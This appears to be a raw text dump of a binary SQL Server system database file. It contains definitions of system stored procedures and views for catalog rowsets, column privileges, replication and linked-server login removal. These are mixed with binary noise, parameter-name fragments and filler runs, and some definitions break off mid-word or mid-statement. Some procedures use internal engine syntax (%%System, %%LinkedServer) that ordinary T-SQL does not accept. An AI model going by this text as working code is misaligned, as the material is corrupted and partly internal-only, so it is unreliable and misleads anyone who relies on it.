[@cmdexecsuccesscode0-) Q@category_name0-)!hhY@failure_detection0-)"88
G@agent_id0-)#88
G@proxy_id0-)$I@job_login0-)%O@job_password0-)&C@job_id0-)'$$O@job_step_uid0-I@publisher0-O@publisher_db0-M@publication0-G@property0-G@strvalue0-88
G@intvalue0-88
Y@subscription_type0-sI@publisher0-sO@publisher_db0-sM@publication0-sG@reserved0-YI@publisher0-YM@publication0-YE@article0-4ZC@column0-4Z?@list0-O@tablenickstr0-O@source_table0-M@table_owner0-A@rgcol0-88
U@column_tracking0-00O@trigger_type0-G@viewname0-C@tsview4Qs*t1C`V6_Z	cTs3y(ts$

I

h
(
	(	&(Tz/BW`;-N)
<V9*0-8K@name_in_db0-hetotal_physical_memory_kb0-hmavailable_physical_memory_kb0-hYtotal_page_file_kb0-haavailable_page_file_kb0-hSsystem_cache_kb0-h]kernel_paged_pool_kb0-hckernel_nonpaged_pool_kb0-hhhssystem_high_memory_signal_state0-h	hhqsystem_low_memory_signal_state0-h
4esystem_memory_state_desc0-e@Galter_ddl0-e@Iinsert_ddl0-e@Utable_option_ddl0-e88
I@object_id0-eC@schema0-eA@table0-e88
W@partition_number0-e88
]@partition_column_id-T(0-TE@seconds0-688
K@agent_type0-6S@parameter_name0-6@Q@default_value0-688
I@min_value0-688
I@max_valueEx#^
o*.J7}`-)
p0-Ѿ44OMAXIMUM_SCALE0-Ѿ44UMAXIMUM_SCALE_900-Ѿ44OSQL_DATA_TYPE0-Ѿ44USQL_DATA_TYPE_900-Ѿ44USQL_DATA_TYPE_280-Ѿ44USQL_DATETIME_SUB0-Ѿ44[SQL_DATETIME_SUB_900-Ѿ88
QNUM_PREC_RADIX0-Ѿ44YINTERVAL_PRECISION0-Ѿ44EUSERTYPE0-Ѿ 44KMAPPED_TYPE-0-A@input0-0.8[@qual_source_object0-0.$$A@pubid0-$$A@artid0-$$A@pubid0-C@ddlcmd0-I@publisher0-O@publisher_db0-M@publication0-M@server_name0-E@db_name0-I@file_name0-88
Q@log_file_type0-G@log_file0-	K@web_server0-
88
M@compatlevel_wait_resumed_ms_ticks0-V[task_bound_ms_ticks0-Vcworker_created_ms_ticks0-V88
Oexception_num0-V88
Yexception_severity0-VWexception_address0-VEaffinity0-Vx4x?state0-VOstart_quantum0-VKend_quantum0-Vx4xQlast_wait_type0-V88
Kreturn_code0-VMquantum_used0-VKmax_quantum0-V88
Kboost_count0-V88
_tasks_processed_count0-VOfiber_address0-V Mtask_address0-V!_memory_object_address0-V"Qthread_address0-V#_signal_worker_address0-V$Wscheduler_address0-V%44Sprocessor_group-0-A@input0-0.8[@qual_source_object0-0.$$A@pubid0-$$A@artid0-$$A@pubid0-C@ddlcmd0-T 88
A@objid0-+$M@publication0-+$E@article0-+$K@subscriber0-+$S@destination_db0-+$hh[@ignore_distributor0-+$G@reserved0-+$I@publisher0-+$S@publisher_type0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-88
I@retention0-88
M@out_of_date0-hhY@independent_agent0-Z88
A@artid0-Z00Q@publishertype0-ZI@publisher0-ZhhI@usesqlclr0-ZhhI@inDDLrepl0-PI@publisher0-PO@source_table0-PO@source_owner0-PS@publisher_type0-P88
W@publication_type-P0- C@varbin0-$$G@agent_id0-00K@agent_type0-88
K@session_id0-a$$G@agent_id0-a00K@agent_type0-aG@database0-a00?@mode0-aS@monitor_server0-V,M@publication0-V,E@article0-I@publisher0-O@publisher_db0-M@publication0-M@server_name0-E@db_name0-I@file_name0-88
Q@log_file_type0-G@log_fileh

	]		D-UP
]z1Rw6YWRS`B-K4)h00-7C@dbname0-coIclass_type0-coF4FSclass_type_desc0-coF4F]securable_class_desc0-W88
Kdatabase_id0-W88
Urecovery_unit_id0-W]log_consumer_id_seed0-W88
Ylog_consumer_count0-W00[new_log_interesting0-W00klog_consumption_deactivated0-W00Mpush_enabled0-WUmem_status_stamp0-W	Qtotal_requests0-W
Ytotal_cache_misses0-WUtotal_disk_reads0-W88
olow_weight_cache_buffer_count0-W
88
qhigh_weight_cache_buffer_count0-W88
Imem_status0-WUshared_pool_size0-W88
_frequency_check_ticks0-W88
_warm_cold_check_ticks0-WQtruncate_point0-WSactive_log_size0-W00[logpoolmgr_deleting0-W88
alogpoolmgr_ref_counter0-W88
K@DatabaseId0-Wscheduler_address0-88
Qparent_node_id0-88
Mscheduler_id0-88
Acpu_id0-x4xAstatus0-hhGis_online0-hhCis_idle0-88
gpreemptive_switches_count0-	88
acontext_switches_count0-
88
[idle_switches_count0-88
[current_tasks_count0-88
]runnable_tasks_count0-Z$$A@pubid0-K٣M@publication0-M@publication0-K@subscriber0-Q@subscriber_db0-NM@publication0-NE@article0-N88
A@objid0-޻M@publication0-(2$$C@job_id0-[@secondary_database0-hh]@ignoreremotemonitor0-L"$$A@artid0-L"$$A@pubidd	A

v
5
		@	%
969YZM<fQB

?]
`k-6)	W͕W'0-xxIclass_desc0-88
?class0-G@loginame0-G@rolename0- C@ts_col0- E@op_type0- hhC@is_new0- [@primary_key_bitmap0- E@colname0- 88
G@this_col0- @C@column0- hhI@from_proc0- 	E@coltype0- 

?@type0- 88
E@art_col0-^M@source_dbms0-^
S@source_version0-^M@source_type0-^Q@source_length0-^88
W@source_precision0-^88
O@source_scale0-^hhU@source_nullable0-^W@destination_dbms0-^	
]@destination_version0-^
W@destination_type0-^[@destination_length0-^88
a@destination_precision0-^
88
Y@destination_scale0-^hh_@destination_nullable0-^hhG@dataloss0-2-o@dynamic_snapshot_views_table@column_name0-8lQtransaction_id0-8l@4@=name0-8l==atransaction_begin_time0-8l88
Utransaction_type0-8l$$Stransaction_uow0-8l88
Wtransaction_state0-8l88
Ytransaction_status0-8l88
[transaction_status20-8l	88
Gdtc_state0-8l
88
Idtc_status0-8l88
[dtc_isolation_level0-8lgfilestream_transaction_id0-8l
88
Kpdw_node_id0-u88
Isession_id0-u88
amost_recent_session_id0-u==Mconnect_time0-uP4POnet_transport0-uP4POprotocol_type0-u88
Uprotocol_version0-u88
Kendpoint_id0-uP4PQencrypt_option0-u	P4PKauth_scheme0-u
44Onode_affinity0-u88
Gnum_reads0-u88
Inum_writes0-u
==Glast_read0-u==Ilast_write0-u88
Snet_packet_size0-u040Yclient_net_address0-u88
Sclient_tcp_port0-u040Wlocal_net_address0-u88
Qlocal_tcp_port0-u$$Oconnection_id0-u$$]parent_connection_id0-u@@amost_recent_sql_handle0-M4Efilename0-M++
"
Ocreation_time0-MOsize_in_bytes0-S@component_type0-A@param-2ؖ88
0-2ؖQ@binary8_value0-488
A@tabid0-488
A@colid0-400Q@publishertype0-$$;@id0-$$G@step_uid0-?@name0-88
S@frequency_type0-88
[@frequency_interval0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
m@frequency_relative_interval0-	88
m@frequency_recurrence_factor0-
88
Y@active_start_date0-88
U@active_end_date0-88
g@active_start_time_of_day0-
88
c@active_end_time_of_day0-A@login0-G@password0-88
G@proxy_id0- C@ts_col0- E@op_type0- hhC@is_new0- [@primary_key_bitmap0- E@colname0- 88
G@this_col0- @C@column0- hhI@from_proc0- 	5	}j
aj}8k(Av|	/`0-)	oT0-UK@table_name0-UK@index_name0-UO@table_schema0-LK@table_name0-LO@table_schema0-LK@table_type0-=b$$A@pubid0-C G@viewname0-C44_@use_partition_groups0-Chhg@can_use_partition_groups0-Chh]@has_dynamic_filters0-Cq@dynamic_filters_function_list0-ChhS@uses_host_name0-ChhW@uses_suser_sname0-88
O@partition_id0-88
E@maxrows0-@E@genlist0-88
I@tablenick0-$$E@rowguid0-$$A@pubid0-C@mingen0-C@maxgen0-	hha@enumentirerowmetadata0-xI@publisher0-xO@publisher_db0-xM@publication0-x88
U@datasource_type0-xM@server_name0-xE@db_name0-xU@datasource_path0-x88
M@compatlevelW?Fxk	K		dE*`l< BbZD0ۍ ,	8
create procedure sys.sp_column_privileges_rowset2
(
    @table_schema       sysname = null,
    @column_name        sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select -- Rows for explicitly set database permissions.
        GRANTOR         = s_cpsv.GRANTOR,
        GRANTEE         = s_cpsv.GRANTEE,
        TABLE_CATALOG   = s_cpsv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_cpsv.TABLE_SCHEMA,
        TABLE_NAME      = s_cpsv.TABLE_NAME,
        COLUMN_NAME     = s_cpsv.COLUMN_NAME,
        COLUMN_GUID     = s_cpsv.COLUMN_GUID,
        COLUMN_PROPID   = s_cpsv.COLUMN_PROPID,
        PRIVILEGE_TYPE  = s_cpsv.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_cpsv.IS_GRANTABLE
    from
        sys.spt_column_privileges_set_view s_cpsv
    where
        (@table_schema is null or schema_id(@table_schema) = s_cpsv.schema_id) and -- check schema
        (@column_name is null or @column_name = s_cpsv.COLUMN_NAME) and
        (@grantor is null or @grantor = s_cpsv.GRANTOR) and
        (@grantee is null or @grantee = s_cpsv.GRANTEE)

    union all

    select -- Add rows for table owner
        GRANTOR         = s_cpov.GRANTOR,
        GRANTEE         = s_cpov.GRANTEE,
        TABLE_CATALOG   = s_cpov.TABLE_CATALOG,
        TABLE_SCHEMA    = s_cpov.TABLE_SCHEMA,
        TABLE_NAME      = s_cpov.TABLE_NAME,
        COLUMN_NAME     = s_cpov.COLUMN_NAME,
        COLUMN_GUID     = s_cpov.COLUMN_GUID,
        COLUMN_PROPID   = s_cpov.COLUMN_PROPID,
        PRIVILEGE_TYPE  = s_cpov.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_cpov.IS_GRANTABLE
    from
        sys.spt_column_privileges_owner_view s_cpov
    where
        (@table_schema is null or schema_id(@table_schema) = s_cpov.schema_id) and -- check schema
        (@column_name is null or @column_name = s_cpov.COLUMN_NAME) and
        (@grantor is null or @grantor = s_cpov.GRANTOR) and
        (@grantee is null or @grantee = s_cpov.GRANTEE)

    order by 4, 5, 6, 9, 1, 2
0܂ 8CREATE FUNCTION sys.fn_validate_plan_guide(@plan_guide_id int)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE VALIDATEPLANGUIDE, @plan_guide_id)
0N 8CREATE FUNCTION sys.dm_cryptographic_provider_sessions
	(
	@all			INT			= 0
	)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET
		(
		TABLE DM_CRYPTO_PROVIDER_SESSIONS, 
		@all
		)
0e u8
create procedure sys.sp_columns_managed 
( 
	@Catalog			sysname = NULL,
	@Owner			sysname = NULL,
	@Table 			sysname = NULL,
	@Column			sysname = NULL,
	@SchemaType	sysname = 0 )		-- 0 = 'select *' behavior (default), 1 = all columns, 2 = columnset columns
as 
	select 
		TABLE_CATALOG			= s_cv.TABLE_CATALOG,
		TABLE_SCHEMA			= s_cv.TABLE_SCHEMA,
		TABLE_NAME				= s_cv.TABLE_NAME,
		COLUMN_NAME 			= s_cv.COLUMN_NAME,
		ORDINAL_POSITION		= s_cv.ORDINAL_POSITION, 
		COLUMN_DEFAULT			= s_cv.COLUMN_DEFAULT,
		IS_NULLABLE 			= s_cv.IS_NULLABLE,
		DATA_TYPE				= s_cv.DATA_TYPE,
		CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH,
		CHARACTER_OCTET_LENGTH	= s_cv.CHARACTER_OCTET_LENGTH,
		NUMERIC_PRECISION		= s_cv.NUMERIC_PRECISION,
		NUMERIC_PRECISION_RADIX	= s_cv.NUMERIC_PRECISION_RADIX,
		NUMERIC_SCALE			= s_cv.NUMERIC_SCALE,
		DATETIME_PRECISION		= s_cv.DATETIME_PRECISION, 
		CHARACTER_SET_CATALOG	= s_cv.CHARACTER_SET_CATALOG,
		CHARACTER_SET_SCHEMA	= s_cv.CHARACTER_SET_SCHEMA,
		CHARACTER_SET_NAME		= s_cv.CHARACTER_SET_NAME,
		COLLATION_CATALOG		= s_cv.COLLATION_CATALOG,
		IS_SPARSE				= s_cv.IS_SPARSE,
		IS_COLUMN_SET			= s_cv.IS_COLUMN_SET,
		IS_FILESTREAM			= s_cv.IS_FILESTREAM
	from 
		sys.spt_columns_view_managed s_cv
	where
		(@Catalog is null or s_cv.TABLE_CATALOG like @Catalog) and
		(@Owner is null or s_cv.TABLE_SCHEMA like @Owner) and
		(@Table is null or s_cv.TABLE_NAME like @Table) and
		(@Column is null or s_cv.COLUMN_NAME like @Column) and
		( 
			@SchemaType = 0 AND 
			(
				( s_cv.IS_SPARSE = 0 OR objectproperty ( s_cv.OBJECT_ID, 'tablehascolumnset' ) = 0 ) 
			) 
			OR @SchemaType = 1
			OR @SchemaType = 2 AND
			(
				( s_cv.IS_SPARSE = 1 AND objectproperty ( s_cv.OBJECT_ID, 'tablehascolumnset' ) = 1 )
			)
		)
	order by TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, IS_NULLABLE 
0e‡@ 8
create procedure sys.sp_MSfixupagentoffloadinfo (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @distributor sysname,
    @offload_agent bit, -- default 0
    @offload_server sysname, -- default null
    @subscription_type int
    )
AS
BEGIN
	-- "'sp_MSfixupagentoffloadinfo' is no longer supported."
	RAISERROR(21023, 16, -1, 'sp_MSfixupagentoffloadinfo') 
	
    RETURN 1
END
01@ n8
CREATE PROCEDURE sys.sp_MSrepl_enumarticlecolumninfo
(
	@publisher		sysname,
	@publication	sysname,
	@article		sysname,
    @defaults       bit = 0
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @publisher_type	sysname
	DECLARE @cmd		nvarchar(4000)
	DECLARE @distribdb	sysname	

	SET @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
														@publisher_type = @publisher_type OUTPUT,
														@distribdb		= @distribdb OUTPUT
	
	IF @retcode <> 0
	BEGIN
		RETURN (@retcode)
	END

	IF UPPER(@publisher_type) IN ('ORACLE', 'ORACLE GATEWAY')
	BEGIN
		SET @cmd = QUOTENAME(@distribdb) + N'.sys.sp_ORAenumarticlecolumninfo'

		EXEC @retcode = @cmd
						@publisher,
						@publication,
						@article,
                        @defaults
	END
	ELSE
	BEGIN
		RAISERROR(21645, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+nJ
	``<!Y`,ȴ0FI D	8
create view sys.spt_column_privileges_owner_view
as
    select -- Add rows for table owner
    -- begin (for doing joins)
        OBJECT_ID       = o.object_id,
        SCHEMA_ID       = o.schema_id,
    -- end (for doing joins)
        GRANTOR         = convert(sysname, N'dbo') collate catalog_default,
        GRANTEE         = user_name(ObjectProperty(o.object_id,'ownerid')),
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(o.schema_id),
        TABLE_NAME      = o.name,
        COLUMN_NAME     = c.name,
        COLUMN_GUID     = convert(uniqueidentifier,null),
        COLUMN_PROPID   = convert(int,null),
        PRIVILEGE_TYPE  = convert(nvarchar(30),
                                    case v.number
                                    when 193 then N'SELECT'
                                    when 195 then N'INSERT'
                                    when 197 then N'UPDATE'
                                    when 26  then N'REFERENCES'
                                    end),
        IS_GRANTABLE    = convert(bit,1)
    from
        sys.all_columns c inner join
        sys.all_objects o on
            (
                o.object_id = c.object_id and
                o.type in ('S','U','V')  -- limit columns to tables and views only
            ) inner join
        master.dbo.spt_values v on
            (
                v.type = 'P' and -- gets all exposed privileges and tries to find revoked ones (see below)
                v.number in (193,195,197,26) -- SELECT/INSERT/UPDATE/REFERENCES
            )
    where
        not exists ( -- exclude revoke'd privileges
                    select
                        major_id
                    from
                        sys.database_permissions p1
                    where
                        p1.major_id = o.object_id and
                        p1.grantee_principal_id = o.schema_id and
                        p1.state = 'D' and
                        p1.type = case v.number
                                      when 193 then 'SL'
                                      when 195 then 'IN'
                                      when 197 then 'UP'
                                      when 26  then 'RF'
                                      end
                   )
0@	@ 8CREATE VIEW sys.dm_exec_requests AS
	SELECT 
		session_id, request_id, start_time, status, command, 
		sql_handle, statement_start_offset, statement_end_offset, plan_handle, database_id, 
		user_id, connection_id, blocking_session_id, wait_type, wait_time, 
		last_wait_type, wait_resource, open_transaction_count, open_resultset_count, transaction_id,
		context_info, percent_complete, estimated_completion_time, cpu_time, total_elapsed_time,
		scheduler_id, task_address, reads, writes, logical_reads, text_size,
		language, date_format, date_first, quoted_identifier, arithabort,
		ansi_null_dflt_on, ansi_defaults, ansi_warnings, ansi_padding, ansi_nulls,
		concat_null_yields_null, transaction_isolation_level, lock_timeout, deadlock_priority, row_count,
		prev_error, nest_level, granted_query_memory, executing_managed_code, group_id, query_hash, query_plan_hash
	FROM OpenRowset(TABLE SYSREQUESTS)
0xc t8
create procedure sys.sp_catalogs_rowset
(
    @catalog_name       sysname
)
as
    select
        CATALOG_NAME    = name,
        DESCRIPTION     = convert(nvarchar(1),null)
    from
        sys.databases
    where
        name = @catalog_name and (has_dbaccess(name)=1 OR serverproperty('EngineEdition') = 5)
    order by 1
0xc 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_catalogs_rowset;2
(
    @dummy      int = null -- Backward compatibility (for pre-9.0 clients)
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CATALOG_NAME    = name,
        DESCRIPTION     = convert(nvarchar(1),null)
    from
        sys.databases
    where
        has_dbaccess(name)=1 OR serverproperty('EngineEdition') = 5
    order by 1
0xc 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_catalogs_rowset;5
    (
    @server_name    sysname,
    @catalog_name   sysname = NULL
    )
as
    select
        CATALOG_NAME,
        DESCRIPTION
    from
        sys.fn_remote_catalogs (@server_name, @catalog_name)
    where
        has_dbaccess(CATALOG_NAME)=1
    order by 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![
	`<[")!l0 
8create procedure sys.sp_droplinkedsrvlogin
	@rmtsrvname		sysname,
	@locallogin		sysname
as
	declare @localid	int

	-- DISALLOW USER TRANSACTION
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_droplinkedsrvlogin')
		return (1)
	end

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any login') = 1)
	begin
		EXEC %%System().AuditEvent(ID = 1380207692, Success = 0, TargetLoginName = @locallogin, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = NULL, Server = @rmtsrvname)
		raiserror(15247,-1,-1)
		return (1)
	end
	else
		EXEC %%System().AuditEvent(ID = 1380207692, Success = 1, TargetLoginName = @locallogin, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = NULL, Server = @rmtsrvname)
	        
	BEGIN TRAN

	-- VALIDATE/LOCK SERVER NAME --
	EXEC %%LinkedServer ( Name = @rmtsrvname ) . Lock ( Exclusive = 1 )
	IF @@ERROR <> 0
	begin
		ROLLBACK TRAN
		raiserror(15015,-1,-1,@rmtsrvname)
		return (1)
	end

	-- CHECK LOCAL USER NAME IF GIVEN
	select @localid = 0
	if @locallogin is not null
	begin
		-- share-lock the local login
		EXEC %%LocalLogin ( Name = @locallogin ) . Lock ( Exclusive = 0 )
		IF @@ERROR = 0
			select @localid = principal_id from sys.server_principals
				where name = @locallogin and type in ('S', 'U')
		if @localid = 0
		begin
			-- THERE WILL BE NO LinkedLogins, SO ONLY AN ERROR IF NO NT-NAME OUT THERE --
			IF suser_sid(@locallogin) IS NULL
			BEGIN
				ROLLBACK TRAN
				raiserror(15007,-1,-1,@locallogin)
				return (1)
			END

			-- "SUCCESS" --
			COMMIT TRAN
			return(0)
		end
	end

	-- IF MAPPING EXISTS FOR THIS SID, REMOVE IT --
	IF EXISTS (SELECT * FROM sys.linked_logins WHERE
			server_id IN (SELECT server_id FROM sys.servers where name = @rmtsrvname)
			AND local_principal_id = @localid)
	BEGIN
		EXEC %%LinkedServer(Name=@rmtsrvname).RemoveLinkedLogin(LocalID=@localid)
	END

	-- EMDEventType(x_eet_Drop_Linked_Server_Login), EMDUniversalClass(x_eunc_Linked_Server), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 236, ID = 102, ID = 0, ID = 0, Value = @rmtsrvname,
		ID = 101, ID = @localid, ID = 0, Value = NULL, 
		ID = 2, Value = @rmtsrvname, Value = @locallogin, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	-- SUCCESS --
	COMMIT TRAN
	return(0) -- sp_droplinkedsrvlogin
0V 8
create view sys.spt_xml_schema_view
as
    select
    -- begin (for doing joins)
        schema_id                       = xsc.schema_id,
        xml_collection_id               = xsc.xml_collection_id,
    -- end (for doing joins)
        SCHEMACOLLECTION_CATALOGNAME    = db_name(),
        SCHEMACOLLECTION_SCHEMANAME     = schema_name(xsc.schema_id),
        SCHEMACOLLECTIONNAME            = xsc.name,
        TARGETNAMESPACEURI              = convert(sysname, xn.name),
        SCHEMACONTENT                   = convert(nvarchar(max),
                                                  xml_schema_namespace(schema_name(xsc.schema_id), xsc.name, convert(sysname, xn.name)))
    from
        sys.xml_schema_collections xsc inner join
        sys.xml_schema_namespaces xn on
            (
                xsc.xml_collection_id = xn.xml_collection_id
            )
0 8
create procedure sys.sp_constr_col_usage_rowset2
(
    @table_schema       sysname = null,
    @column_name        sysname = null,
    @constr_catalog     sysname = null,
    @constr_schema      sysname = null,
    @constr_name        sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select  *
    from
    (
        select
            TABLE_CATALOG       = db_name(),
            TABLE_SCHEMA        = schema_name(obj.schema_id),
            TABLE_NAME          = obj.name,
            COLUMN_NAME         = col.name,
            COLUMN_GUID         = convert(uniqueidentifier, NULL),
            COLUMN_PROPID       = convert(int, NULL),
            CONSTRAINT_CATALOG  = db_name(),
            CONSTRAINT_SCHEMA   = schema_name(obj.schema_id),
            CONSTRAINT_NAME     = obj2.name

        from
            sys.all_objects obj inner join
            sys.sysconstraints s_sc on (obj.type in ('S ', 'U ') and s_sc.id = obj.object_id and s_sc.colid <> 0) inner join
            sys.all_objects obj2 on (s_sc.constid = obj2.object_id),
            sys.all_columns col

        where
            (@table_schema is null or schema_id(@table_schema) = obj.schema_id) and
            col.object_id = obj.object_id and
            col.column_id = s_sc.colid
    ) as my_result

    where -- ISSUE - PERF - There is no need of 2 nested selects. Incorporate it in the above select.
        (@column_name  is null or @column_name  = my_result.COLUMN_NAME) and
        (@constr_catalog is null or @constr_catalog  = my_result.CONSTRAINT_CATALOG) and
        (@constr_schema  is null or @constr_schema  = my_result.CONSTRAINT_SCHEMA) and
        (@constr_name  is null or @constr_name  = my_result.CONSTRAINT_NAME)

    order by 1, 2, 3, 4, 5, 6, 7, 8, 9
0Ә@ r8CREATE VIEW INFORMATION_SCHEMA.TABLES
AS 
SELECT
	DB_NAME()			AS TABLE_CATALOG,
	s.name				AS TABL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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+|
`c<L#NX;50P5 	8create procedure sys.sp_dropremotelogin
	@remoteserver	sysname,			-- name of remote server
	@loginame		sysname = NULL,		-- user's local user name
	@remotename		sysname = NULL		-- user's remote name
as
	declare @sid varbinary(85)

	-- DISALLOW USER XACT --
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dropremotelogin')
		return (1)
	end

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any login') = 1)
	begin
		EXEC %%System().AuditEvent(ID = 1380207698, Success = 0, TargetLoginName = @loginame, TargetUserName = NULL, Role = NULL, Object = @remotename, Provider = NULL, Server = @remoteserver)
		raiserror(15247,-1,-1)
		return (1)
	end
	else
		EXEC %%System().AuditEvent(ID = 1380207698, Success = 1, TargetLoginName = @loginame, TargetUserName = NULL, Role = NULL, Object = @remotename, Provider = NULL, Server = @remoteserver)


	-- CHECK FOR INVALID PARAMETER SYNTAX --
	if @remoteserver is null OR (@loginame is null and @remotename is not null)
	begin
		raiserror(15600,-1,-1,'sys.sp_dropremotelogin')
		return (1)
	end

	BEGIN TRAN

	-- VALIDATE/LOCK SERVER NAME --
	EXEC %%LinkedServer ( Name = @remoteserver ) . Lock ( Exclusive = 1 )
	IF @@ERROR <> 0
	begin
		ROLLBACK TRAN
		raiserror(15015,-1,-1,@remoteserver)
		return (1)
	end

	-- VALIDATE/LOCK @loginame --
	if @loginame is not null
	begin
		-- share-lock the local login
		EXEC %%LocalLogin ( Name = @loginame ) . Lock ( Exclusive = 0 )
		IF @@ERROR = 0
			select @sid = sid from sys.server_principals
				where name = @loginame and type = 'S'		-- cannot map to NT login
		if @sid is null
		begin
			ROLLBACK TRAN
			raiserror(15007,-1,-1,@loginame)
			return (1)
		end
	end

	-- CHECK IF REQUESTED MAPPING ACTUALLY EXISTS --
	IF NOT EXISTS (SELECT * FROM master.dbo.sysremotelogins WHERE
			remoteserverid IN (SELECT srvid FROM master.dbo.sysservers WHERE srvname = @remoteserver)
			AND ((@sid IS NULL and sid IS NULL) or sid = @sid)
